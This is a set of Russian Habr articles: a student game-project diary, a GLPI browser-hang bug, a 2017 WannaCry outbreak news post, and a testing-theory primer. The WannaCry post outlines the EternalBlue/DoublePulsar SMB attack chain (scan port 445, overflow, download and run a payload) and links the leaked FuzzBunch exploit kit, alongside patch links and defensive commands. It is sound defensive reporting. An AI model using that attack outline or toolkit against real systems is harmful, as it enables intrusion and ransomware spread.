Для сна потока я использовал старый добрый Thread.Sleep(); работающий одногруппник был принципиально с этим не согласен: сначала он хотел вообще обойтись без пауз. Непрерывное выполнение игрового цикла приводило к 100% нагрузке ядра и ~2000FPS на мощных машинах. Мне удалось его убедить, что FPS нужно ограничить, а в выполнение игровой логики передавать время, прошедшее с последнего её выполнения. К сожалению, со Sleep были проблемы: просто неприязнь одногруппника к Sleep и проблема со считыванием нажатия кнопок. Код был переписан на использование Wait. Только вот проблему с полной загрузкой ядра это не решило, да и FPS мои одногруппники решили поддерживать на уровне 100 кадров в секунду. К моей радости, в конце концов, код был переписан на Sleep (слава многопоточности для обработки нажатий клавиш), разделены по времени вызовы физики и рендера и FPS приведён к 60.
#### День седьмой
Был проведён мёрдж веток, доработка камер и, что главное, рефакторинг кода, относящегося к рендеру и перемещению. Полностью были исправлены ошибки, связанные с перемещением по пикселям вместо клеток карты.
Кроме того, добавили дебаг для отладки рендера.
**Скриншот работы отладки столкновений**[](http://http:https://habrastorage.org/getpro/habr/post_images/1a4/ee2/5dd/1a4ee25ddf49b43b4de5bace91636a45.png)
#### День восьмой
Я решил добавить больше динамики в игру, а именно: ловушки и новый тайл. Чтобы сразу увидеть, решил заодно использовать генератор карт, вместо пустой. Не нужно было спать, когда обсуждали и делали основу системы классов…
Прежде всего, я создал класс тайла (клетка карты) с методом триггера и обновил физику, чтобы они срабатывали. А вот дальше начались проблемы… Пришлось написать класс для графического представления тайла-картинки, добавить в enum тайл-картинку и связать их в фабрики тайлов. В то время, как раньше я обошёлся бы классом стены и пола, в который просто передавалось изображения для рендера.
*~~Неужели во всех компаниях используют Factory для каждого чиха?~~*
А потом я узнал, что генератор карт считает enum с тайлами картинками, набором возможных сущностей (пол, стена...).
Спустя пару часов я имел рабочий генератор карт и пушку, которая создавала файрболы вокруг кнопки.
Стрелять просто так было скучно, поэтому я написал просто AI, который преследовал игрока. Так я узнал, что метод смерти работает. Было очень обидно, когда написанный мною же AI расстрелял меня из пушки, сам того не понимая…
#### День девятый
В этот день мы совершенствовали текущий код. Например, добавили систему удаления объектов с задержкой. Ведь после гибели бота, должен был появиться труп, который тоже должен исчезнуть через некоторое время. А удаление объектов из листа во время работы с листом не самое приятное занятие. Ох уж этот ConcurrentModificationException…
#### День десятый
Наконец-то, услышав мои просьбы, было добавлено разделение экрана и работа с несколькими камерами и вывод урона игрокам.
**Скриншот работы сплитскрина**[](http://http:https://habrastorage.org/getpro/habr/post_images/e2b/7e1/da9/e2b7e1da99f490eb84b258a6529960ec.png)
А вот отображение HP добавить, увы, не успели.
**Набросок индикатора здоровья и маны**[](http://http:https://habrastorage.org/getpro/habr/post_images/cbb/bea/7fd/cbbbea7fd97eb7092d50738824cb3f4f.jpg)
Практика закончилась, и больше мы ничего добавить не успели…
#### День одиннадцатый
Процесс сдачи работ был чистой формальностью. Аспирант имел доступ к репозиторию и уже представлял, что от кого ожидать.
**Фото с места событий**[](http://habrastorage.org/files/acf/4b8/145/acf4b8145eb9468d9bab133b621134f0.jpg)(Фото сделано на Lumia 710)
Единственной заминкой стал вопрос, что писать в зачётку: «зачёт» или оценку…
**Фото результата**[](http://http:https://habrastorage.org/getpro/habr/post_images/f28/c22/e41/f28c22e41cfe866134d3cf5be37365e0.jpg)(Фото сделано на Lumia 710)
#### Мы предполагаем, а Бог располагает
Так можно обозначить летнюю практику и использование Нокии. Летняя практика прошла совсем не как я предполагал: лихорадочное первое задание, вкупе с не совсем законченным вторым оставили нотку неудовлетворенности. Очень огорчило малое количество теоретического материала, ибо самообучиться я могу и вне рамок практики. Несмотря на совсем несхожие стили программирования, я рад опыту командной работы с одногруппниками и совместной работе на GitHub (хотя в терминах я путаюсь до сих пор), Slack (очень порадовала интеграция с Яндекс.Браузером) и Redmine. Раньше я использовал просто заметки в .txt и //TODO. Сейчас, понял удобство такой системы, как Redmine: всё в голове не удержать.
А Lumia? Что можно сказать о смартфоне, которому [уже седина в ОС](http://w7phone.ru/osnovnaya-podderzhka-windows-7-prekrashhaetsya-v-nachale-2015-goda-112662/)? Когда я покупал SE Vivaz на Symbian, я ждал от смартфона именно этого… Сейчас, после пресловутого Vivaz и нескольких смартфонов на Андроиде, 710-й кажется приветом из двухтысячных. Надеюсь, что Windows Phone 8.1 смотрится более достойно своего предка (историю WP я знаю [по этой статье](http://habrahabr.ru/post/196742/)).
#### Ошибки, которые мы поймали при разработке игры
* Передвижение наискосок (сначала проверяем смещение по одной оси, после — смещение по другой)
* Возможность многократного вызова метода смерти
* Отсутствие проверки на жизнь при некоторых методах (слава зомби-ботам)
* Проверка на пересечение объектов только по одной точке, а не четырём
* Столкновение объектов с самими собой
* Агрессивные сущности (например, файрбол) наносят урон своему создателю, появляясь около него
#### P.S.
Часть истории была изменена, а некоторые события перемещены во времени для целостности повествования.
Я с радостью исправлю любые ошибки, если вы напишите мне в ЛС. Буду рад любой критике, как и кода, так и текста. Постараюсь ответить на каждый вопрос. Увы, моих одногруппников на Хабре нет.
Возможно, история содержит много воды и лишнего, но целью являлось показать реальный учебный процесс, а не сферическую WINstory. Очень извиняюсь за несколько сумбурный стиль повествования и JPG в шапке поста, оригинал был удалён, а ещё раз фотошопить я уже не в силах.
#### Ссылки
* [Redmine проектов](http://eltech.xomak.net/redmine/) ([наш](http://eltech.xomak.net/redmine/projects/rpg))
* [Репозиторий нашего проекта](https://github.com/aivel/RPG)
* [Ссылка на Jar файл проекта](https://yadi.sk/d/5kye9vZtX3CrA)
* [The Beatles на Яндекс.Музыке](http://music.yandex.ru/#!/artist/35004?from=habr)
* [Программная Инженерия ЛЭТИ](http://www.eltech.ru/ru/abiturientam/napravleniya-podgotovki/bakalavriat/23100062-programmnaya-inzheneriya) | https://habr.com/ru/post/230585/ | null | ru | null |
# GLPI и последние обновления временных зон в Windows
##### История одного подвига
Несколько недель назад GLPI ни с того, ни с сего стал зависать на загрузке страницы заявки. Жалоба поступила от моих сослуживцев, когда я находился в отпуске. Открыв страницу в браузере я не обнаружил проблемы, о чем уведомил своих коллег.
К сведению — у меня Firefox на Linux, а у них Chrome на Windows.
Они настаивали на проблеме. И я специально установил на свой нетбук зоопарк браузеров: Chrome, Opera (Blink, Presto). Проверил работу с GLPI в них — проблемы не обнаружил. Когда вышел на работу, проверил на рабочем компьютере под Windows и с удивлением обнаружил, что кроме Firefox, ни один из выше перечисленных браузеров не грузит страницу задачи. По совету одного из знакомых php программистов полез в код страницы и выяснил, что загрузка спотыкается о javascript устанавливающих дату создания заявки и дату выполнения. Памятуя о последних обновлениях Windows, связанных с изменениями часового пояса во Владивостоке, из-за которых у меня время раньше положенного срока перескочило на час назад, я попробовал поменять часовой пояс с Владивосток на Брисбен — проблема пропала.
##### Послесловие
Хочу выразить особую благодарность [scif](http://habrahabr.ru/users/scif/), Андрею — системному администратору, который не дал мне забить на эту проблему и заставил меня с ней разобраться, а также компании Microsoft, благодаря которой у меня всегда будет работа.
Не смотрите, что статья написана в столь легком стиле. Я потратил на решение этой проблемы целый день. Буду очень рад, если другим системным администраторам эта статья сэкономит время.
##### Технические данные
Зависшая страница не отвечала ни на какие действия, кроме закрытия вкладки. Процесс вкладки постепенно рос до 1ГБ, после чего браузер сообщал об ошибке загрузки страницы.
Обновления Windows, которые вызвали проблему — [KB2998527](http://support.microsoft.com/kb/2998527)
JavaScript, который вызывал проблему:
```
Ext.onReady(function() {
var md1665785715 = new Ext.ux.form.DateTime({
hiddenName: 'date'
,id: 'date1665785715'
,value: '2014-10-21 17:05:01'
,hiddenFormat:'Y-m-d H:i:s'
,applyTo: 'showdate1665785715'
,timeFormat:'H:i'
,timeWidth: 55
,dateWidth: 90
,startDay: 1,allowBlank: false,timeConfig: {
altFormats:'H:i:s',increment: 1,allowBlank: false},dateFormat: 'd-m-Y',dateConfig: {
altFormats:'d-m-Y|d-n-Y',allowBlank: false} });
});
```
```
Ext.onReady(function() {
var md33295515 = new Ext.ux.form.DateTime({
hiddenName: 'due\_date'
,id: 'date33295515'
,value: ''
,hiddenFormat:'Y-m-d H:i:s'
,applyTo: 'showdate33295515'
,timeFormat:'H:i'
,timeWidth: 55
,dateWidth: 90
,startDay: 1,allowBlank: true,timeConfig: {
altFormats:'H:i:s',increment: 1,allowBlank: true},dateFormat: 'd-m-Y',dateConfig: {
altFormats:'d-m-Y|d-n-Y',allowBlank: true} });
});
```
##### Дополнение к статье от 27.10.2014
Пришли обновления Firefox, стала версия 33.0.1, и после перезагрузки браузера эта же проблема стала возникать и в Firefox. Какова мотивация разработчиков внедрять такие изменения?.. (это риторический вопрос) | https://habr.com/ru/post/241215/ | null | ru | null |
# Ведется массовая атака криптором Wana decrypt0r 2.0
В настоящий момент можно наблюдать масштабную атаку трояном-декриптором "Wana decrypt0r 2.0"
Атака наблюдается в разных сетях совершенно никак не связанных между ссобой.
*A ransomware spreading in the lab at the university ([отсюда](https://twitter.com/dodicin/status/862991818904002565/photo/1))*
Некоторые компании советуют своим пользователям выключить свои компьютеры и ждать дальшейших инструкций.
Связавшись с бывшими коллегами я был удивлен похожими исторями.
Что касается меня, сегодня я подготавливал несколько новых образов Windows для нашей облачной системы, среди них был Windows Server 2008 R2.
Что самое интересное, стоило мне только установить Windows и настроить статический IP-адрес на ней, как сразу же в течении нескольких минут она была заражена.
Все образы Windows были получены из MSDN, хеши совпадают, так что возможность заражения образа исключена.
И это при том, что конфигурация файервола для единственного сетевого интерфейса смотрящего наружу, была настроена как "Общественная сеть".
~~Nmap не находит открытых портов~~. Вывод nmap показывает что даже в этом случае некоторые порты открыты наружу по умолчанию:
```
Host is up (0.017s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
135/tcp open msrpc
445/tcp open microsoft-ds
49154/tcp open unknown
```
Единственное что было установленно в системе — это Virtio-драйверы, которые были загруженны при установке самой Windows с внешнего CD.
ISO-образ был так же получен из официального источника — репозитория Fedora, хеш суммы так же совпадают.
~~На данный момент до конца не известно как именно произошло заражение и какие конкретно версии Windows уязвимы~~.
Если у вас есть похожие случаи, поделитесь информацией о них.
Несколько ссылок по теме:
* [Ссылка на Virustotal](https://virustotal.com/cs/file/b9c5d4339809e0ad9a00d4d3dd26fdf44a32819a54abf846bb9b560d81391c25/analysis/)
* [Информация на Mmalwr](https://malwr.com/analysis/ZWIxNWMzNzRhZmE5NDQ3OGIxODZjMzllNjYyZmJkZjY/)
* [Подробная информация о WannaCry на GitHub](https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168)
* [Анализ шифровальщика Wana Decrypt0r 2.0 от Pentestit](https://habrahabr.ru/company/pentestit/blog/328606/)
*остальные ссылки смотрите в комментариях к этой новости*
Ждем дальнеших новостей, всех с пятницей и вот вам нескушная обоина на рабочий стол:
**Скрытый текст**
**UPD:** Судя по всему, для атаки используется уязвимость протокола SMBv1.
Патчи для исправления этой уязвимости можно скачатать на официальном сайте:
* [Microsoft Security Bulletin MS17-010](https://technet.microsoft.com/en-us/library/security/ms17-010.aspx)
* [Патч, для старых систем](https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/) (Windows XP, Winows Server 2003R2)
Уязвимость так-же можно закрыть, полностью отключив поддержку SMBv1. Для этого достаточно выполнить следующую команду в командной строке запущенной от имени Администратора (работает в Windows 8.1 и более старших версиях):
```
dism /online /norestart /disable-feature /featurename:SMB1Protocol
```
Установить патчи при этом все равно рекомендуется
**UPD2:** По многочисленным просьбам добавляется информация о том как проверить стоит вам бояться или нет. Следующие действия помогут вам понять установлен ли патч закрывающий данную уязвимость в вашей системе:
* Перейдите по [ссылке](https://technet.microsoft.com/en-us/library/security/ms17-010.aspx) выше и проверьте код обновления для вышей системы, например для Windows 7 или Windows Server 2008 R2, код будет `4012212` или `4012215`
* Откройте `cmd.exe` (командную строку)
* Напишите:
```
wmic qfe list | findstr 4012212
```
* Нажмите Enter
* Если в ответе вы увидите что-то подобное, это значит что патч у вас уже установлен и можно спать спокойно:
```
http://support.microsoft.com/?kbid=4012212 P2 Security Update KB4012212 NT AUTHORITY\система 3/18/2017
```
* Если же ответ вернет вам пустую строку, попробуйте проверить следующий патч из списка
* Если ни один патч не находится, рекомендуется незамедлительно установить обновление по [ссылке](https://technet.microsoft.com/en-us/library/security/ms17-010.aspx) выше или по прямой ссылке из [UPD9](#UPD9)
*Как выяснилось этот метод не на 100% рабочий и у каждого могут быть свои ньюансы.
Если вы все же уверены что обновление безопасности у вас установлено, а в ответ вы по прежнему получаете пустую строку, попробуйте проверить обновление через журнал обновлений Windows или почитать комментарии к этой статье.*
**UPD3:** В интернете [находятся](http://searchengines.guru/showpost.php?s=6701b6716ad6128df6c2518a7134354a&p=15047229&postcount=7) интересные подробности по данному инциденту:
> Да, так и есть. Появился набор эксплоитов FuzzBunch, который группа хакеров Shadow Brokers украла у Equation Group, хакеров из Агенства Нац. Безопасности США.
>
> Microsoft потихому прикрыла дырки обновлением MS 17-010, возможно самым важным обновлением за последние десять лет.
>
> В то время как набор эксплоитов уже неделю лежит в открытом доступе <https://github.com/fuzzbunch/fuzzbunch> с обучающими видео.
>
> В этом наборе есть опасный инструмент DoublePulsar.
>
> Если кратко, то если открыт 445 порт и не установлено обновление MS 17-010, то DoublePulsar
>
> простукивает этот порт, делает перехваты системных вызовов и в память внедряет вредоносный код.
**UPD4:** Интерактивная карта заражения:
[](https://intel.malwaretech.com/botnet/wcrypt)
**UPD5:** Видео показывающее наглядное применение эксплойта:
> Here is a video showing ETERNALBLUE being used to compromise a Windows 2008 R2 SP1 x64 host in under 120 seconds with FUZZBUNCH [#0day](https://twitter.com/hashtag/0day?src=hash) ;-) [pic.twitter.com/I9aUF530fU](https://t.co/I9aUF530fU)
>
> — Hacker Fantastic (@hackerfantastic) [April 14, 2017](https://twitter.com/hackerfantastic/status/852958717746315264)
**UPD6:** Нашелся интересный изъян в коде:
> Распространение вируса-вымогателя WannaCrypt удалось приостановить, зерегистрировав домен iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com.
>
> Специалист по безопасности, который ведет твиттер @MalwareTechBlog, обнаружил, что вирус зачем-то обращается к этому домену и решил зарегистрировать его, чтобы следить за активностью программы.
>
>
>
> Как выяснилось потом, в коде вируса говорилось, что если обращение к этому домену успешно, то заражение следует прекратить; если нет, то продолжать. Сразу после регистрации домена, к нему пришли десятки тысяч запросов.
>
>
>
> Вирус-вымогатель начал распространяться 12 мая. Он блокирует компьютер и требует 300 долларов за разблокировку. Десятки тысяч заражений зарегистрировали в 99 странах, в том числе в России, где жертвами стали «Мегафон», МВД и СК. В других странах пострадали телекоммуникационные компании, банки, консалтинговые фирмы. В Великобритании из строя вышли компьютеры системы здравоохранения.
>
> Регистрация вышеупомянутого домена не помогла тем, кто уже был заражен, но дала время другим установить обновление Windows, после которого вирус не работает.
**UPD7:** Microsoft выпустил [патч для старых систем](https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/) (Windows XP и Windows Server 2003R2)
**UPD8:** [Копипаста](https://2ch.hk/b/res/152977799.html) с 2ch.hk
> У тех кто начал эту атаку есть
>
>
> > Эксплойты слитые Shadow brokers
> >
> > Сканнер сети который они сами написали на C/Python
> >
> > Linux сервер
>
>
>
> Как это работает?
>
>
> > Скрипт сканнера запускается на Linux сервере
> >
> > Вбивается определенный IP диапазон или целая страна
> >
> > Скрипт сканирует диапазон на открытый 445 порт
> >
> > В случае удачного обнаружения SMB сервиса, посылает эксплойт, вызывающий переполнение буфера
> >
> > эксплойт закачивает файл и запускает его.
>
>
>
>
**UPD9:** официальные прямые ссылки на этот патч для различных систем:
**MS17-010**Windows XP: download.windowsupdate.com/d/csa/csa/secu/2017/02/windowsxp-kb4012598-x86-custom-rus\_84397f9eeea668b975c0c2cf9aaf0e2312f50077.exe
Windows XP x64: <http://download.windowsupdate.com/d/csa/csa/secu/2017/02/windowsserver2003-kb4012598-x64-custom-enu_f24d8723f246145524b9030e4752c96430981211.exe>
Windows Vista x86: <http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.0-kb4012598-x86_13e9b3d77ba5599764c296075a796c16a85c745c.msu>
Windows Vista x64: <http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.0-kb4012598-x64_6a186ba2b2b98b2144b50f88baf33a5fa53b5d76.msu>
Windows 7 x86: <http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.1-kb4012212-x86_6bb04d3971bb58ae4bac44219e7169812914df3f.msu>
Windows 7 x64: <http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.1-kb4012212-x64_2decefaa02e2058dcd965702509a992d8c4e92b3.msu>
Windows 8 x86: <http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/02/windows8-rt-kb4012214-x86_5e7e78f67d65838d198aa881a87a31345952d78e.msu>
Windows 8 x64: <http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/02/windows8-rt-kb4012214-x64_b14951d29cb4fd880948f5204d54721e64c9942b.msu>
Windows 8.1 x86: <http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/02/windows8.1-kb4012213-x86_e118939b397bc983971c88d9c9ecc8cbec471b05.msu>
Windows 8.1 x64: <http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/02/windows8.1-kb4012213-x64_5b24b9ca5a123a844ed793e0f2be974148520349.msu>
Windows 10 x86: <http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/03/windows10.0-kb4012606-x86_8c19e23de2ff92919d3fac069619e4a8e8d3492e.msu>
Windows 10 x64: <http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/03/windows10.0-kb4012606-x64_e805b81ee08c3bb0a8ab2c5ce6be5b35127f8773.msu>
Windows 10 (1511) x86: <http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/03/windows10.0-kb4013198-x86_f997cfd9b59310d274329250f14502c3b97329d5.msu>
Windows 10 (1511) x64: <http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/03/windows10.0-kb4013198-x64_7b16621bdc40cb512b7a3a51dd0d30592ab02f08.msu>
Windows 10 (1607) x86: <http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/03/windows10.0-kb4013429-x86_8b376e3d0bff862d803404902c4191587afbf065.msu>
Windows 10 (1607) x64: <http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/03/windows10.0-kb4013429-x64_ddc8596f88577ab739cade1d365956a74598e710.msu>
Windows Server 2003 x86: <http://download.windowsupdate.com/c/csa/csa/secu/2017/02/windowsserver2003-kb4012598-x86-custom-rus_62e38676306f9df089edaeec8924a6fdb68ec294.exe>
Windows Server 2003 x64: <http://download.windowsupdate.com/c/csa/csa/secu/2017/02/windowsserver2003-kb4012598-x64-custom-rus_6efd5e111cbfe2f9e10651354c0118517cee4c5e.exe>
Windows Server 2008 x86: <http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.0-kb4012598-x86_13e9b3d77ba5599764c296075a796c16a85c745c.msu>
Windows Server 2008 x64: <http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.0-kb4012598-x64_6a186ba2b2b98b2144b50f88baf33a5fa53b5d76.msu>
Windows Server 2008 R2: <http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.1-kb4012212-x64_2decefaa02e2058dcd965702509a992d8c4e92b3.msu>
Windows Server 2012: <http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/02/windows8-rt-kb4012214-x64_b14951d29cb4fd880948f5204d54721e64c9942b.msu>
Windows Server 2012 R2: <http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/02/windows8.1-kb4012213-x64_5b24b9ca5a123a844ed793e0f2be974148520349.msu>
Windows Server 2016: <http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/03/windows10.0-kb4013429-x64_ddc8596f88577ab739cade1d365956a74598e710.msu>
**UPD10:** Появились версии шифровальщика игнорирующие killswitch метод описанный в [UPD6](#UPD6).
*Спасибо [xsash](https://geektimes.ru/users/xsash/), [Inflame](https://geektimes.ru/users/inflame/), [Pulse](https://geektimes.ru/users/pulse/), [nxrighthere](https://geektimes.ru/users/nxrighthere/), [waisberg](https://geektimes.ru/users/waisberg/), [forajump](https://geektimes.ru/users/forajump/), [Akr0n](https://geektimes.ru/users/akr0n/), [LESHIY\_ODESSA](https://geektimes.ru/users/leshiy_odessa/), [Pentestit](https://habrahabr.ru/company/pentestit/), [alguryanow](https://geektimes.ru/users/alguryanow/) и другим за множество дополнений к этой статье.* | https://habr.com/ru/post/403837/ | null | ru | null |
# Фундаментальная теория тестирования
В тестировании нет четких определений, как в физике, математике, которые при перефразировании становятся абсолютно неверными. Поэтому важно понимать процессы и подходы. В данной статье разберем основные определения теории тестирования.
### Перейдем к основным понятиям
**Тестирование программного обеспечения (Software Testing)** — проверка соответствия реальных и ожидаемых результатов поведения программы, проводимая на конечном наборе тестов, выбранном определённым образом.
**Цель тестирования** — проверка соответствия ПО предъявляемым требованиям, обеспечение уверенности в качестве ПО, поиск очевидных ошибок в программном обеспечении, которые должны быть выявлены до того, как их обнаружат пользователи программы.
**Для чего проводится тестирование ПО?**
* Для проверки соответствия требованиям.
* Для обнаружение проблем на более ранних этапах разработки и предотвращение повышения стоимости продукта.
* Обнаружение вариантов использования, которые не были предусмотрены при разработке. А также взгляд на продукт со стороны пользователя.
* Повышение лояльности к компании и продукту, т.к. любой обнаруженный дефект негативно влияет на доверие пользователей.
### Принципы тестирования
* **Принцип 1 — Тестирование демонстрирует наличие дефектов (Testing shows presence of defects)**.
Тестирование только снижает вероятность наличия дефектов, которые находятся в программном обеспечении, но не гарантирует их отсутствия.
* **Принцип 2 — Исчерпывающее тестирование невозможно (Exhaustive testing is impossible)**.
Полное тестирование с использованием всех входных комбинаций данных, результатов и предусловий физически невыполнимо (исключение — тривиальные случаи).
* **Принцип 3 — Раннее тестирование (Early testing)**.
Следует начинать тестирование на ранних стадиях жизненного цикла разработки ПО, чтобы найти дефекты как можно раньше.
* **Принцип 4 — Скопление дефектов (Defects clustering)**.
Большая часть дефектов находится в ограниченном количестве модулей.
* **Принцип 5 — Парадокс пестицида (Pesticide paradox)**.
Если повторять те же тестовые сценарии снова и снова, в какой-то момент этот набор тестов перестанет выявлять новые дефекты.
* **Принцип 6 — Тестирование зависит от контекста (Testing is context depending)**. Тестирование проводится по-разному в зависимости от контекста. Например, программное обеспечение, в котором критически важна безопасность, тестируется иначе, чем новостной портал.
* **Принцип 7 — Заблуждение об отсутствии ошибок (Absence-of-errors fallacy)**. Отсутствие найденных дефектов при тестировании не всегда означает готовность продукта к релизу. Система должна быть удобна пользователю в использовании и удовлетворять его ожиданиям и потребностям.
**Обеспечение качества (QA — Quality Assurance)** и **контроль качества (QC — Quality Control)** — эти термины похожи на взаимозаменяемые, но разница между обеспечением качества и контролем качества все-таки есть, хоть на практике процессы и имеют некоторую схожесть.
**QC** (Quality Control) — Контроль качества продукта — анализ результатов тестирования и качества новых версий выпускаемого продукта.
К задачам контроля качества относятся:
* проверка готовности ПО к релизу;
* проверка соответствия требований и качества данного проекта.
**QA** (Quality Assurance) — Обеспечение качества продукта — изучение возможностей по изменению и улучшению процесса разработки, улучшению коммуникаций в команде, где тестирование является только одним из аспектов обеспечения качества.
К задачам обеспечения качества относятся:
* проверка технических характеристик и требований к ПО;
* оценка рисков;
* планирование задач для улучшения качества продукции;
* подготовка документации, тестового окружения и данных;
* тестирование;
* анализ результатов тестирования, а также составление отчетов и других документов.
[](https://habrastorage.org/webt/pd/7v/sq/pd7vsqkddpirrrug98n8vb8ro-w.jpeg)
**Верификация и валидация** — два понятия тесно связаны с процессами тестирования и обеспечения качества. К сожалению, их часто путают, хотя отличия между ними достаточно существенны.
**Верификация (verification)** — это процесс оценки системы, чтобы понять, удовлетворяют ли результаты текущего этапа разработки условиям, которые были сформулированы в его начале.
**Валидация (validation)** — это определение соответствия разрабатываемого ПО ожиданиям и потребностям пользователя, его требованиям к системе.
`Пример: когда разрабатывали аэробус А310, то надо было сделать так, чтобы закрылки вставали в положение «торможение», когда шасси коснулись земли. Запрограммировали так, что когда шасси начинают крутиться, то закрылки ставим в положение «торможение». Но вот во время испытаний в Варшаве самолет выкатился за пределы полосы, так как была мокрая поверхность. Он проскользил, только потом был крутящий момент и они, закрылки, открылись. С точки зрения «верификации» — программа сработала, с точки зрения «валидации» — нет. Поэтому код изменили так, чтобы в момент изменения давления в шинах открывались закрылки.`
Документацию, которая используется на проектах по разработке ПО, можно условно разделить на две группы:
1. Проектная документация — включает в себя всё, что относится к проекту в целом.
2. Продуктовая документация — часть проектной документации, выделяемая отдельно, которая относится непосредственно к разрабатываемому приложению или системе.
### **Этапы тестирования:**
1. Анализ продукта
2. Работа с требованиями
3. Разработка стратегии тестирования и планирование процедур контроля качества
4. Создание тестовой документации
5. Тестирование прототипа
6. Основное тестирование
7. Стабилизация
8. Эксплуатация
**Стадии разработки ПО** — этапы, которые проходят команды разработчиков ПО, прежде чем программа станет доступной для широкого круга пользователей.
**Программный продукт проходит следующие стадии:**
1. анализ требований к проекту;
2. проектирование;
3. реализация;
4. тестирование продукта;
5. внедрение и поддержка.
### **Требования**
**Требования** — это спецификация (описание) того, что должно быть реализовано.
Требования описывают то, что необходимо реализовать, без детализации технической стороны решения.
**Атрибуты требований:**
1. **Корректность** — точное описание разрабатываемого функционала.
2. **Проверяемость** — формулировка требований таким образом, чтобы можно было выставить однозначный вердикт, выполнено все в соответствии с требованиями или нет.
3. **Полнота** — в требовании должна содержаться вся необходимая для реализации функциональности информация.
4. **Недвусмысленность** — требование должно содержать однозначные формулировки.
5. **Непротиворечивость** — требование не должно содержать внутренних противоречий и противоречий другим требованиям и документам.
6. **Приоритетность** — у каждого требования должен быть приоритет(количественная оценка степени значимости требования). Этот атрибут позволит грамотно управлять ресурсами на проекте.
7. **Атомарность** — требование нельзя разбить на отдельные части без потери деталей.
8. **Модифицируемость** — в каждое требование можно внести изменение.
9. **Прослеживаемость** — каждое требование должно иметь уникальный идентификатор, по которому на него можно сослаться.
**Дефект (bug)** — отклонение фактического результата от ожидаемого.
**Отчёт о дефекте (bug report)** — документ, который содержит отчет о любом недостатке в компоненте или системе, который потенциально может привести компонент или систему к невозможности выполнить требуемую функцию.
**Атрибуты отчета о дефекте:**
1. Уникальный идентификатор (ID) — присваивается автоматически системой при создании баг-репорта.
2. Тема (краткое описание, Summary) — кратко сформулированный смысл дефекта, отвечающий на вопросы: Что? Где? Когда(при каких условиях)?
3. Подробное описание (Description) — более широкое описание дефекта (указывается опционально).
4. Шаги для воспроизведения (Steps To Reproduce) — описание четкой последовательности действий, которая привела к выявлению дефекта. В шагах воспроизведения должен быть описан каждый шаг, вплоть до конкретных вводимых значений, если они играют роль в воспроизведении дефекта.
5. Фактический результат (Actual result) — описывается поведение системы на момент обнаружения дефекта в ней. чаще всего, содержит краткое описание некорректного поведения(может совпадать с темой отчета о дефекте).
6. Ожидаемый результат (Expected result) — описание того, как именно должна работать система в соответствии с документацией.
7. Вложения (Attachments) — скриншоты, видео или лог-файлы.
8. Серьёзность дефекта (важность, Severity) — характеризует влияние дефекта на работоспособность приложения.
9. Приоритет дефекта (срочность, Priority) — указывает на очерёдность выполнения задачи или устранения дефекта.
10. Статус (Status) — определяет текущее состояние дефекта. Статусы дефектов могут быть разными в разных баг-трекинговых системах.
11. Окружение (Environment) – окружение, на котором воспроизвелся баг.
### **Жизненный цикл бага**
[](https://habrastorage.org/webt/dg/yy/w9/dgyyw9t6waodwooi6pnis6w2wai.jpeg)
### **Severity vs Priority**
**Серьёзность (severity)** показывает степень ущерба, который наносится проекту существованием дефекта. Severity выставляется тестировщиком.
**Градация Серьезности дефекта (Severity):**
* **Блокирующий (S1 – Blocker)**
тестирование значительной части функциональности вообще недоступно. Блокирующая ошибка, приводящая приложение в нерабочее состояние, в результате которого дальнейшая работа с тестируемой системой или ее ключевыми функциями становится невозможна.
* **Критический (S2 – Critical)**
критическая ошибка, неправильно работающая ключевая бизнес-логика, дыра в системе безопасности, проблема, приведшая к временному падению сервера или приводящая в нерабочее состояние некоторую часть системы, то есть не работает важная часть одной какой-либо функции либо не работает значительная часть, но имеется workaround (обходной путь/другие входные точки), позволяющий продолжить тестирование.
* **Значительный (S3 – Major)**
не работает важная часть одной какой-либо функции/бизнес-логики, но при выполнении специфических условий, либо есть workaround, позволяющий продолжить ее тестирование либо не работает не очень значительная часть какой-либо функции. Также относится к дефектам с высокими visibility – обычно не сильно влияющие на функциональность дефекты дизайна, которые, однако, сразу бросаются в глаза.
* **Незначительный (S4 – Minor)**
часто ошибки GUI, которые не влияют на функциональность, но портят юзабилити или внешний вид. Также незначительные функциональные дефекты, либо которые воспроизводятся на определенном устройстве.
* **Тривиальный (S5 – Trivial)**
почти всегда дефекты на GUI — опечатки в тексте, несоответствие шрифта и оттенка и т.п., либо плохо воспроизводимая ошибка, не касающаяся бизнес-логики, проблема сторонних библиотек или сервисов, проблема, не оказывающая никакого влияния на общее качество продукта.
**Срочность (priority)** показывает, как быстро дефект должен быть устранён. Priority выставляется менеджером, тимлидом или заказчиком
**Градация Приоритета дефекта (Priority):**
* **P1 Высокий (High)**
Критическая для проекта ошибка. Должна быть исправлена как можно быстрее.
* **P2 Средний (Medium)**
Не критичная для проекта ошибка, однако требует обязательного решения.
* **P3 Низкий (Low)**
Наличие данной ошибки не является критичным и не требует срочного решения. Может быть исправлена, когда у команды появится время на ее устранение.
**Существует шесть базовых типов задач:**
* **Эпик (epic)** — большая задача, на решение которой команде нужно несколько спринтов.
* **Требование (requirement )** — задача, содержащая в себе описание реализации той или иной фичи.
* **История (story)** — часть большой задачи (эпика), которую команда может решить за 1 спринт.
* **Задача (task)** — техническая задача, которую делает один из членов команды.
